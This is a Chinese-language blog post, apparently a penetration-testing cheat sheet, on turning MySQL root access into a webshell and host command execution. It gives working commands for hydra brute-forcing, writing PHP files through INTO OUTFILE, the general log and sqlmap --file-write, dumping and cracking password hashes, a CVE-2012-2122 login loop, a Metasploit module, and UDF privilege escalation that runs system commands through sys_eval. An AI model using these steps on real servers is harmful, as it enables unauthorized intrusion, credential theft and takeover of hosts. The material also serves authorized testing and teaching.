Last updated on September 27, 2024 am
本文讲使用最高权限 登录mysql终端后如何获取shell权限
获取mysql的用户名和密码的方式
MySQL 3306 端口弱口令爆破
1 hydra -l 用户名 -P 密码字典 mysql:// 对方IP
sqlmap 注入的 --sql-shell
模式
网站的数据库配置文件中拿到明文密码信息
CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限
获取webshell权限
into oufile 写 shell
前提:
secure_file_priv 无限制(才能使用load_file)
1 2 3 4 5 6 mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+
Value
说明
NULL
不允许导入或导出
/tmp
只允许在 /tmp 目录导入导出
空
不限制目录
利用:
1 2 3 select ' <?php phpinfo (); ?> ' into outfile '/var/www/html/info.php'; #sqlmap操作 sqlmap -u "http://x.x.x.x/?id=x" --file-write="shell.php" --file-dest="/var/www/html/test/shell.php"
日志文件写shell
要求对网站目录具有写权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SHOW VARIABLES LIKE 'general%'; +------------------+---------------------------+ | Variable_name | Value | +------------------+---------------------------+ | general_log | OFF | | general_log_file | /var/lib/mysql/fru1ts.log | +------------------+---------------------------+ general_ log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。 # 更改日志文件位置 set global general_log = "ON"; set global general_log_ file='/var/www/html/info.php' ; # 往日志里面写入 payload select '<?php phpinfo();?>' ; 访问就能够getshell
一般成功率低,在linux系统权限限制比较严格,而且写入成功了,这个文件是mysql创建的,apache访问时会出现HTTP 500的状态码,在windows系统成功率会高一点。
获取主机权限
假设已经拥有mysql的最高权限
Hash 获取与解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # MySQL <= 5.6 版本mysql> select host, user, password from mysql.user; +-----------+------+-------------------------------------------+ | host | user | password | +-----------+------+-------------------------------------------+ | localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | | % | root | * 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |+-----------+ ------+-------------------------------------------+ # MySQL >= 5.7 版本mysql > select host,user,authentication_string from mysql.user; +-----------+---------------+-------------------------------------------+ | host | user | authentication_string | +-----------+---------------+-------------------------------------------+ | localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A | | localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | | localhost | mysql.sys | * THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |+-----------+ ---------------+-------------------------------------------+
用https://www.cmd5.com/ 破解一下,或者使用Hashcat 破解
mysql CVE漏洞
可以借助MSF
yaSSL 缓冲区溢出
1 msf6 > use exploit/linux/my sql/mysql_yassl_hello
CVE-2012-2122
知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
1 for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
UDF提权
寻找插件目录
写入动态链接库
SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制 ,所以往往 POST 注入才可以执行这种攻击
1 sqlmap -u "http://localhost:30008/" --data= "id=1" --file-write= "/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest= "/usr/lib/mysql/plugin/udf.so"
没有注入的话,可以通过select写入文件,不过要求secure_file_priv
是空
1 2 # 解码十六进制再写入多此一举 SELECT unhex('7f454c4602 ...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
十六进制的内容可以参考国光师傅的,https://www.sqlsec.com/tools/udf.html
创建自定义函数并调用命令
1 mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME '/usr/lib/mysql/plugin/udf.so' ;
1 select * from mysql.func; #查看 mysql 函数里面是否新增了 sys_eval
然后就可以命令执行了
1 mysql > select sys_eval('whoami' );
UDF shell
USF.PHP
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,可以使用网页脚本
t00ls USF.PHP 一键操作
Navicat MySQL
目标 MySQL 不允许外连,但是可以上传 PHP 脚本,这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上,
https://sqlsec.lanzoux.com/ibpoGijd6bc 国光提供了官方脚本
启动ntunnel_mysql.php,连接本地数据库,然后Navicat 连接的时候设置HTTP通道
然后主机地址填localhost即可
之后就可以进行UDF提权了
https://www.sqlsec.com/2020/11/mysql.html